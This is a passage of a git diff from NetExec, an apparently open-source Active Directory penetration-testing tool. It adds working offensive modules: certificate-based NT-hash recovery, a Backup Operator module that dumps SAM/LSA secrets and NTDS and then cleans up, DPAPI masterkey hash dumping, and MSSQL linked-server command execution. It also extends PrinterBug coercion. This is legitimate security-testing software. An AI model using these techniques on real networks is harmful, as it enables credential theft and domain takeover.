apReq["pvno"] = 5 + apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = [] + apReq["ap-options"] = constants.encodeFlags(opts) + seq_set(apReq, "ticket", ticket.to_asn1) + + authenticator = Authenticator() + authenticator["authenticator-vno"] = 5 + authenticator["crealm"] = str(decodedTGT["crealm"]) + + clientName = Principal() + clientName.from_asn1(decodedTGT, "crealm", "cname") + + seq_set(authenticator, "cname", clientName.components_to_asn1) + + now = datetime.datetime.utcnow() + authenticator["cusec"] = now.microsecond + authenticator["ctime"] = KerberosTime.to_asn1(now) + + if logging.getLogger().level == logging.DEBUG: + logging.debug("AUTHENTICATOR") + print(authenticator.prettyPrint()) + print("\n") + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + + apReq["authenticator"] = noValue + apReq["authenticator"]["etype"] = cipher.enctype + apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator + + encodedApReq = encoder.encode(apReq) + + tgsReq = TGS_REQ() + + tgsReq["pvno"] = 5 + tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + + tgsReq["padata"] = noValue + tgsReq["padata"][0] = noValue + tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq["padata"][0]["padata-value"] = encodedApReq + + reqBody = seq_set(tgsReq, "req-body") + + opts = [] + opts.append(constants.KDCOptions.forwardable.value) + opts.append(constants.KDCOptions.renewable.value) + opts.append(constants.KDCOptions.canonicalize.value) + opts.append(constants.KDCOptions.enc_tkt_in_skey.value) + + reqBody["kdc-options"] = constants.encodeFlags(opts) + + serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value) + + seq_set(reqBody, "sname", serverName.components_to_asn1) + reqBody["realm"] = str(decodedTGT["crealm"]) + + now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + + reqBody["till"] = KerberosTime.to_asn1(now) + reqBody["nonce"] = random.getrandbits(31) + seq_set_iter(reqBody, "etype", + (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value))) + + myTicket = ticket.to_asn1(TicketAsn1()) + seq_set_iter(reqBody, "additional-tickets", (myTicket,)) + if logging.getLogger().level == logging.DEBUG: + logging.debug("Final TGS") + print(tgsReq.prettyPrint()) + if logging.getLogger().level == logging.DEBUG: + logging.debug("Final TGS") + print(tgsReq.prettyPrint()) + + message = encoder.encode(tgsReq) + logging.info("Requesting ticket to self with PAC") + + r = sendReceive(message, self.__domain, self.__kdcHost) + + tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + + if logging.getLogger().level == logging.DEBUG: + logging.debug("TGS_REP") + print(tgs.prettyPrint()) + + cipherText = tgs["ticket"]["enc-part"]["cipher"] + + # Key Usage 2 + # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or + # application session key), encrypted with the service key + # (section 5.4.2) + + # S4USelf + U2U uses this other key + plainText = cipher.decrypt(sessionKey, 2, cipherText) + specialkey = Key(18, unhexlify(self.__asrep_key)) + return self.printPac(plainText, specialkey) + + +def pfx_auth(self): + """Handles the authentication using a PFX or PEM file""" + # Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason + dhparams = { + "p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16), + "g": 2 + } + self.logger.info("Loading certificate and key from file") + + # Load the certificate and key from file + if self.args.pfx_cert or self.args.pfx_base64: + pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64 + ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64)) + elif self.args.pem_cert and self.args.pem_key: + ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams) + else: + self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file") + return None + + username = self.args.username[0] + log_ccache = os.path.expanduser(f"{NXC_PATH}/logs/{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache".replace(":", "-")) + + # Request a TGT with the cert data + req = ini.build_asreq(self.domain, username) + self.logger.info("Requesting TGT") + + sock = KerberosClientSocket(KerberosTarget(self.kdcHost)) + try: + res = sock.sendrecv(req) + except Exception as e: + self.logger.fail(str(e)) + return False + + encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native) + ccache_minikerberos = CCACHE() + ccache_minikerberos.add_tgt(res.native, encasrep) + ccache_minikerberos.to_file(log_ccache) + self.logger.info(f"Saved TGT to file {log_ccache}") + self.logger.info(f"Using Kerberos Cache {log_ccache}") + ccache = impacket_CCache.loadFile(log_ccache) + principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}" + creds = ccache.getCredential(principal) + if creds is not None: + tgt = creds.toTGT() + dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt) + nthash = dumper.dump() + if not self.kerberos: + self.hash_login(self.domain, username, nthash) + else: + self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False) + + self.logger.info("Successfully authenticated using Certificate") + return True diff --git a/nxc/logger.py b/nxc/logger.py index acacfcd4..88871f59 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -3,7 +3,6 @@ from logging import LogRecord from logging.handlers import RotatingFileHandler import os.path import sys -import re from nxc.console import nxc_console from nxc.paths import NXC_PATH from termcolor import colored @@ -22,10 +21,11 @@ def parse_debug_args(): args, _ = debug_parser.parse_known_args() return args + def setup_debug_logging(): debug_args = parse_debug_args() root_logger = logging.getLogger("root") - + if debug_args.verbose: nxc_logger.logger.setLevel(logging.INFO) root_logger.setLevel(logging.INFO) @@ -35,34 +35,33 @@ def setup_debug_logging(): else: nxc_logger.logger.setLevel(logging.ERROR) root_logger.setLevel(logging.ERROR) - + def create_temp_logger(caller_frame, formatted_text, args, kwargs): """Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated""" temp_logger = logging.getLogger("temp") formatter = logging.Formatter("%(message)s", datefmt="[%X]") handler = SmartDebugRichHandler(formatter=formatter) - handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame)) + handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame)) class SmartDebugRichHandler(RichHandler): """Custom logging handler for when we want to log normal messages to DEBUG and not double log""" + def __init__(self, formatter=None, *args, **kwargs): super().__init__(*args, **kwargs) if formatter is not None: self.setFormatter(formatter) - + def emit(self, record): """Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno""" - # for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging - record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text - if hasattr(record, "caller_frame"): frame_info = inspect.getframeinfo(record.caller_frame) record.pathname = frame_info.filename record.lineno = frame_info.lineno super().emit(record) + def no_debug(func): """Stops logging non-debug messages when we are in debug mode It creates a temporary logger and logs the message to the console and file @@ -72,7 +71,7 @@ def no_debug(func): def wrapper(self, msg, *args, **kwargs): if self.logger.getEffectiveLevel() >= logging.INFO: return func(self, msg, *args, **kwargs) - else: + else: formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0]) caller_frame = inspect.currentframe().f_back create_temp_logger(caller_frame, formatted_text, args, kwargs) @@ -81,7 +80,7 @@ def no_debug(func): class NXCAdapter(logging.LoggerAdapter): - def __init__(self, extra=None): + def __init__(self, extra=None, merge_extra=False): logging.basicConfig( format="%(message)s", datefmt="[%X]", @@ -90,11 +89,13 @@ class NXCAdapter(logging.LoggerAdapter): rich_tracebacks=True, tracebacks_show_locals=False )], + encoding="utf-8" ) self.logger = logging.getLogger("nxc") self.extra = extra + self.merge_extra = merge_extra self.output_file = None - + logging.getLogger("impacket").disabled = True logging.getLogger("pypykatz").disabled = True logging.getLogger("minidump").disabled = True @@ -173,7 +174,7 @@ class NXCAdapter(logging.LoggerAdapter): self.logger.fail(f"Issue while trying to custom print handler: {e}") def add_file_log(self, log_file=None): - file_formatter = TermEscapeCodeFormatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S") output_file = self.init_log_file() if log_file is None else log_file file_creation = False @@ -181,7 +182,7 @@ class NXCAdapter(logging.LoggerAdapter): open(output_file, "x") # noqa: SIM115 file_creation = True - file_handler = RotatingFileHandler(output_file, maxBytes=100000) + file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8") with file_handler._open() as f: if file_creation: @@ -203,18 +204,6 @@ class NXCAdapter(logging.LoggerAdapter): datetime.now().strftime("%Y-%m-%d"), f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log", ) - - -class TermEscapeCodeFormatter(logging.Formatter): - """A class to strip the escape codes for logging to files""" - - def __init__(self, fmt=None, datefmt=None, style="%", validate=True): - super().__init__(fmt, datefmt, style, validate) - - def format(self, record): # noqa: A003 - escape_re = re.compile(r"\x1b\[[0-9;]*m") - record.msg = re.sub(escape_re, "", str(record.msg)) - return super().format(record) # initialize the logger for all of nxc - this is imported everywhere diff --git a/nxc/modules/adcs.py b/nxc/modules/adcs.py index 6946a9b0..c13c4e56 100644 --- a/nxc/modules/adcs.py +++ b/nxc/modules/adcs.py @@ -49,10 +49,10 @@ class NXCModule: try: sc = ldap.SimplePagedResultsControl() - base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn + base_dn_root = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn if self.server is None: - connection.ldapConnection.search( + connection.ldap_connection.search( searchFilter=search_filter, attributes=[], sizeLimit=0, @@ -61,7 +61,7 @@ class NXCModule: searchBase="CN=Configuration," + base_dn_root, ) else: - connection.ldapConnection.search( + connection.ldap_connection.search( searchFilter=search_filter + base_dn_root + ")", attributes=["certificateTemplates"], sizeLimit=0, diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py new file mode 100644 index 00000000..4b858312 --- /dev/null +++ b/nxc/modules/backup_operator.py @@ -0,0 +1,143 @@ +import time +import os +import datetime + +from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations +from impacket.smbconnection import SessionError +from impacket.dcerpc.v5 import transport, rrp +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE + +from nxc.paths import NXC_PATH + +class NXCModule: + name = "backup_operator" + description = "Exploit user in backup operator group to dump NTDS @mpgn_x64" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.domain_admin = None + self.domain_admin_hash = None + self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted + + def options(self, context, module_options): + """NO OPTIONS""" + + def on_login(self, context, connection): + connection.args.share = "SYSVOL" + # enable remote registry + context.log.display("Triggering RemoteRegistry to start through named pipe...") + self.trigger_winreg(connection.conn, context) + rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]") + rpc.set_smb_connection(connection.conn) + if connection.kerberos: + rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost) + dce = rpc.get_dce_rpc() + if connection.kerberos: + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + dce.connect() + dce.bind(rrp.MSRPC_UUID_RRP) + + try: + for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: + hRootKey, subKey = self._strip_root_key(dce, hive) + outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}" + context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)") + try: + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ) + rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName) + context.log.highlight(f"Saved {hive} to {outputFileName}") + except Exception as e: + context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}") + return + except (Exception, KeyboardInterrupt) as e: + context.log.fail(str(e)) + finally: + dce.disconnect() + + # copy remote file to local + log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-")) + for hive in ["SAM", "SECURITY", "SYSTEM"]: + connection.get_file_single(hive, log_path + hive) + + # read local file + try: + def parse_sam(secret): + context.log.highlight(secret) + if not self.domain_admin: + first_line = secret.strip().splitlines()[0] + fields = first_line.split(":") + self.domain_admin = fields[0] + self.domain_admin_hash = fields[3] + + local_operations = LocalOperations(log_path + "SYSTEM") + boot_key = local_operations.getBootKey() + sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret)) + sam_hashes.dump() + sam_hashes.finish() + + LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) + LSA.dumpCachedHashes() + LSA.dumpSecrets() + except Exception as e: + context.log.fail(f"Fail to dump the sam and lsa: {e!s}") + + if self.domain_admin: + connection.conn.logoff() + connection.create_conn_obj() + if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash): + try: + context.log.display("Dumping NTDS...") + connection.ntds() + except Exception as e: + context.log.fail(f"Fail to dump the NTDS: {e!s}") + + context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}") + connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM") + for hive in ["SAM", "SECURITY", "SYSTEM"]: + try: + out = connection.conn.listPath("SYSVOL", hive) + if out: + self.deleted_files = False + context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}") + except SessionError as e: + context.log.debug(f"File {hive} successfully removed: {e}") + else: + self.deleted_files = False + else: + self.deleted_files = False + + if not self.deleted_files: + context.log.display("Use the domain admin account to clean the file on the remote host") + context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"") # noqa: Q003 + else: + context.log.display("Successfully deleted dump files !") + + def trigger_winreg(self, connection, context): + # Original idea from https://twitter.com/splinter_code/status/1715876413474025704 + # Basically triggers the RemoteRegistry to start without admin privs + tid = connection.connectTree("IPC$") + try: + connection.openFile( + tid, + r"\winreg", + 0x12019F, + creationOption=0x40, + fileAttributes=0x80, + ) + except SessionError as e: + # STATUS_PIPE_NOT_AVAILABLE error is expected + context.log.debug(str(e)) + # Give remote registry time to start + time.sleep(1) + + def _strip_root_key(self, dce, key_name): + # Let's strip the root key + key_name.split("\\")[0] + sub_key = "\\".join(key_name.split("\\")[1:]) + ans = rrp.hOpenLocalMachine(dce) + h_root_key = ans["phKey"] + return h_root_key, sub_key diff --git a/nxc/modules/coerce_plus.py b/nxc/modules/coerce_plus.py index b09d7961..09017fc5 100644 --- a/nxc/modules/coerce_plus.py +++ b/nxc/modules/coerce_plus.py @@ -1,4 +1,5 @@ -from impacket.dcerpc.v5 import transport, rprn, even +from impacket import uuid +from impacket.dcerpc.v5 import transport, rprn, even, epm from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY @@ -146,32 +147,36 @@ class NXCModule: if self.method == "all" or self.method[:2] == "pr": # PrinterBug runmethod = True """ PRINTERBUG START """ - try: - printerbugclass = PrinterBugTrigger(context) - target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain - printerbugconnect = printerbugclass.connect( - username=connection.username, - password=connection.password, - domain=connection.domain, - lmhash=connection.lmhash, - nthash=connection.nthash, - target=target, - doKerberos=connection.kerberos, - dcHost=connection.kdcHost, - aesKey=connection.aesKey, - pipe="spoolss" - ) + pipes = ["spoolss", "[dcerpc]"] + for pipe in pipes: + try: + printerbugclass = PrinterBugTrigger(context) + target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain + printerbugconnect = printerbugclass.connect( + username=connection.username, + password=connection.password, + domain=connection.domain, + lmhash=connection.lmhash, + nthash=connection.nthash, + target=target, + doKerberos=connection.kerberos, + dcHost=connection.kdcHost, + aesKey=connection.aesKey, + pipe=pipe + ) - if printerbugconnect is not None: - context.log.debug("Target is vulnerable to PrinterBug") - context.log.highlight("VULNERABLE, PrinterBug") - if self.listener is not None: # exploit - printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, "spoolss") - printerbugconnect.disconnect() - else: - context.log.debug("Target is not vulnerable to PrinterBug") - except Exception as e: - context.log.error(f"Error in PrinterBug module: {e}") + if printerbugconnect is not None: + context.log.debug("Target is vulnerable to PrinterBug") + context.log.highlight("VULNERABLE, PrinterBug") + if self.listener is not None: # exploit + exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe) + if not self.always_continue and exploit_status: + break + printerbugconnect.disconnect() + else: + context.log.debug("Target is not vulnerable to PrinterBug") + except Exception as e: + context.log.error(f"Error in PrinterBug module: {e}") """ PRINTERBUG END """ if self.method == "all" or self.method[:1] == "m": # MSEven @@ -752,15 +757,49 @@ class PrinterBugTrigger: def __init__(self, context): self.context = context + def get_dynamic_endpoint(self, interface: bytes, target: str, timeout: int = 5) -> str: + string_binding = r"ncacn_ip_tcp:%s[135]" % target + rpctransport = transport.DCERPCTransportFactory(string_binding) + rpctransport.set_connect_timeout(timeout) + dce = rpctransport.get_dce_rpc() + self.context.log.debug( + "Trying to resolve dynamic endpoint %s" % repr(uuid.bin_to_string(interface)) + ) + try: + dce.connect() + except Exception as e: + self.context.log.warning("Failed to connect to endpoint mapper: %s" % e) + raise e + try: + endpoint = epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce) + self.context.log.debug( + f"Resolved dynamic endpoint {uuid.bin_to_string(interface)!r} to {endpoint!r}" + ) + return endpoint + except Exception as e: + self.context.log.debug( + "Failed to resolve dynamic endpoint %s" + % repr(uuid.bin_to_string(interface)) + ) + raise e + + def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe): binding_params = { "spoolss": { "stringBinding": r"ncacn_np:%s[\PIPE\spoolss]" % target, "MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"), + "port": 445 }, + "[dcerpc]": { + "stringBinding": self.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target), + "MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"), + "port": None + } } rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"]) - rpctransport.set_dport(445) + if binding_params[pipe]["port"] is not None: + rpctransport.set_dport(binding_params[pipe]["port"]) if hasattr(rpctransport, "set_credentials"): rpctransport.set_credentials( diff --git a/nxc/modules/daclread.py b/nxc/modules/daclread.py index 2cb4f45c..0bdff145 100644 --- a/nxc/modules/daclread.py +++ b/nxc/modules/daclread.py @@ -274,8 +274,8 @@ class NXCModule: self.context = context """On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified""" context.log.highlight("Be careful, this module cannot read the DACLS recursively.") - self.baseDN = connection.ldapConnection._baseDN - self.ldap_session = connection.ldapConnection + self.baseDN = connection.ldap_connection._baseDN + self.ldap_session = connection.ldap_connection # Searching for the principal SID if self.principal_sAMAccountName is not None: @@ -373,7 +373,7 @@ class NXCModule: if self.target_DN is not None: _lookedup_principal = self.target_DN target = self.ldap_session.search( - searchBase=self.baseDN, + searchBase=_lookedup_principal, searchFilter=f"(distinguishedName={_lookedup_principal})", attributes=["nTSecurityDescriptor"], searchControls=controls, diff --git a/nxc/modules/dpapi_hash.py b/nxc/modules/dpapi_hash.py new file mode 100644 index 00000000..070121f6 --- /dev/null +++ b/nxc/modules/dpapi_hash.py @@ -0,0 +1,63 @@ +from dploot.lib.target import Target +from dploot.triage.masterkeys import MasterkeysTriage + +from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection + +# Based on dpapimk2john, original work by @fist0urs + +class NXCModule: + name = "dpapi_hash" + description = "Remotely dump Dpapi hash based on masterkeys" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def options(self, context, module_options): + """OUTPUTFILE Output file to write hashes""" + self.outputfile = None + if "OUTPUTFILE" in module_options: + self.outputfile = module_options["OUTPUTFILE"] + + def on_admin_login(self, context, connection): + username = connection.username + password = getattr(connection, "password", "") + nthash = getattr(connection, "nthash", "") + + target = Target.create( + domain=connection.domain, + username=username, + password=password, + target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, + lmhash=getattr(connection, "lmhash", ""), + nthash=nthash, + do_kerberos=connection.kerberos, + aesKey=connection.aesKey, + no_pass=True, + use_kcache=getattr(connection, "use_kcache", False), + ) + + conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) + if conn is None: + context.log.debug("Could not upgrade connection") + return + + try: + context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...") + masterkeys_triage = MasterkeysTriage( + target=target, + conn=conn, + ) + context.log.debug(f"Masterkeys Triage: {masterkeys_triage}") + context.log.debug("Collecting user masterkeys") + masterkeys_triage.triage_masterkeys() + if self.outputfile is not None: + with open(self.outputfile, "a+") as fd: + for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]: + context.log.highlight(mkhash) + fd.write(f"{mkhash}\n") + else: + for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]: + context.log.highlight(mkhash) + + except Exception as e: + context.log.debug(f"Could not get masterkeys: {e}") \ No newline at end of file diff --git a/nxc/modules/enum_av.py b/nxc/modules/enum_av.py index 5946bd15..8a742556 100644 --- a/nxc/modules/enum_av.py +++ b/nxc/modules/enum_av.py @@ -84,10 +84,7 @@ class NXCModule: prod_results = results.setdefault(product["name"], {}) prod_results.setdefault("pipes", []).append(pipe) except Exception as e: - if "STATUS_ACCESS_DENIED" in str(e): - context.log.fail("Error STATUS_ACCESS_DENIED while enumerating pipes, probably due to using SMBv1") - else: - context.log.fail(str(e)) + context.log.fail(str(e)) def dump_results(self, results, context): if not results: diff --git a/nxc/modules/enum_impersonate.py b/nxc/modules/enum_impersonate.py new file mode 100644 index 00000000..9dc142c5 --- /dev/null +++ b/nxc/modules/enum_impersonate.py @@ -0,0 +1,46 @@ +class NXCModule: + """ + Enumerate SQL Server users with impersonation rights + Module by deathflamingo + """ + + name = "enum_impersonate" + description = "Enumerate users with impersonation privileges" + supported_protocols = ["mssql"] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.mssql_conn = None + self.context = None + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + impersonate_users = self.get_impersonate_users() + if impersonate_users: + self.context.log.success("Users with impersonation rights:") + for user in impersonate_users: + self.context.log.display(f" - {user}") + else: + self.context.log.fail("No users with impersonation rights found.") + + def get_impersonate_users(self) -> list: + """ + Fetches a list of users with impersonation rights. + + Returns + ------- + list: List of user names. + """ + query = """ + SELECT DISTINCT b.name + FROM sys.server_permissions a + INNER JOIN sys.server_principals b + ON a.grantor_principal_id = b.principal_id + WHERE a.permission_name LIKE 'IMPERSONATE%' + """ + res = self.mssql_conn.sql_query(query) + return [user["name"] for user in res] if res else [] + def options(self, context, module_options): + pass diff --git a/nxc/modules/enum_links.py b/nxc/modules/enum_links.py new file mode 100644 index 00000000..01b97f30 --- /dev/null +++ b/nxc/modules/enum_links.py @@ -0,0 +1,53 @@ +class NXCModule: + """ + Enumerate SQL Server linked servers + Module by deathflamingo, NeffIsBack + """ + + name = "enum_links" + description = "Enumerate linked SQL Servers and their login configurations." + supported_protocols = ["mssql"] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.mssql_conn = None + self.context = None + + def options(self, context, module_options): + pass + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + linked_servers = self.get_linked_servers() + if linked_servers: + self.context.log.success("Linked servers found:") + for server in linked_servers: + self.context.log.display(f" - {server}") + else: + self.context.log.fail("No linked servers found.") + + def on_admin_login(self, context, connection): + res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin") + srvs = [srv for srv in res if srv["Local Login"] != "NULL"] + if not srvs: + self.context.log.fail("No linked servers found.") + return + self.context.log.success("Linked servers found:") + for srv in srvs: + self.context.log.display(f"Linked server: {srv['Linked Server']}") + self.context.log.display(f" - Local login: {srv['Local Login']}") + self.context.log.display(f" - Remote login: {srv['Remote Login']}") + + def get_linked_servers(self) -> list: + """ + Fetches a list of linked servers. + + Returns + ------- + list: List of linked server names. + """ + query = "EXEC sp_linkedservers;" + res = self.mssql_conn.sql_query(query) + return [server["SRV_NAME"] for server in res] if res else [] diff --git a/nxc/modules/enum_logins.py b/nxc/modules/enum_logins.py new file mode 100644 index 00000000..42302338 --- /dev/null +++ b/nxc/modules/enum_logins.py @@ -0,0 +1,40 @@ +class NXCModule: + """ + Enumerate SQL Server logins + Module by deathflamingo + """ + + name = "enum_logins" + description = "Enumerate SQL Server logins" + supported_protocols = ["mssql"] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.mssql_conn = None + self.context = None + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + logins = self.get_logins() + if logins: + self.context.log.success("Logins found:") + for login in logins: + self.context.log.display(f" - {login}") + else: + self.context.log.fail("No logins found.") + + def get_logins(self) -> list: + """ + Fetches a list of SQL Server logins. + + Returns + ------- + list: List of login names. + """ + query = "SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';" + res = self.mssql_conn.sql_query(query) + return [login["name"] for login in res] if res else [] + def options(self, context, module_options): + pass diff --git a/nxc/modules/enum_trusts.py b/nxc/modules/enum_trusts.py index fc6ed852..ef43bcb0 100644 --- a/nxc/modules/enum_trusts.py +++ b/nxc/modules/enum_trusts.py @@ -21,7 +21,7 @@ class NXCModule: attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"] context.log.debug(f"Search Filter={search_filter}") - resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) + resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) trusts = [] context.log.debug(f"Total of records returned {len(resp)}") diff --git a/nxc/modules/exec_on_link.py b/nxc/modules/exec_on_link.py new file mode 100644 index 00000000..a620101a --- /dev/null +++ b/nxc/modules/exec_on_link.py @@ -0,0 +1,42 @@ +class NXCModule: + """ + Execute commands on linked servers + Module by deathflamingo + """ + + name = "exec_on_link" + description = "Execute commands on a SQL Server linked server" + supported_protocols = ["mssql"] + opsec_safe = False + multiple_hosts = False + + def __init__(self): + self.mssql_conn = None + self.context = None + self.linked_server = None + self.command = None + + def options(self, context, module_options): + """ + LINKED_SERVER: The name of the linked server to execute the command on. + COMMAND: The command to execute on the linked server. + """ + if "LINKED_SERVER" in module_options: + self.linked_server = module_options["LINKED_SERVER"] + if "COMMAND" in module_options: + self.command = module_options["COMMAND"] + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + if not self.linked_server or not self.command: + self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.") + return + + self.execute_on_link() + + def execute_on_link(self): + """Executes the specified command on the linked server.""" + query = f"EXEC ('{self.command}') AT [{self.linked_server}];" + result = self.mssql_conn.sql_query(query) + self.context.log.display(f"Command output: {result}") diff --git a/nxc/modules/find-computer.py b/nxc/modules/find-computer.py index dc1838bf..fa5dff4c 100644 --- a/nxc/modules/find-computer.py +++ b/nxc/modules/find-computer.py @@ -39,7 +39,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={search_filter}") - resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0) + resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0) except LDAPSearchError as e: if e.getErrorString().find("sizeLimitExceeded") >= 0: context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received") diff --git a/nxc/modules/firefox.py b/nxc/modules/firefox.py index 28c96349..8930c52e 100644 --- a/nxc/modules/firefox.py +++ b/nxc/modules/firefox.py @@ -1,5 +1,5 @@ from dploot.lib.target import Target -from nxc.protocols.smb.firefox import FirefoxTriage +from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage class NXCModule: @@ -16,10 +16,11 @@ class NXCModule: multiple_hosts = True # Does it make sense to 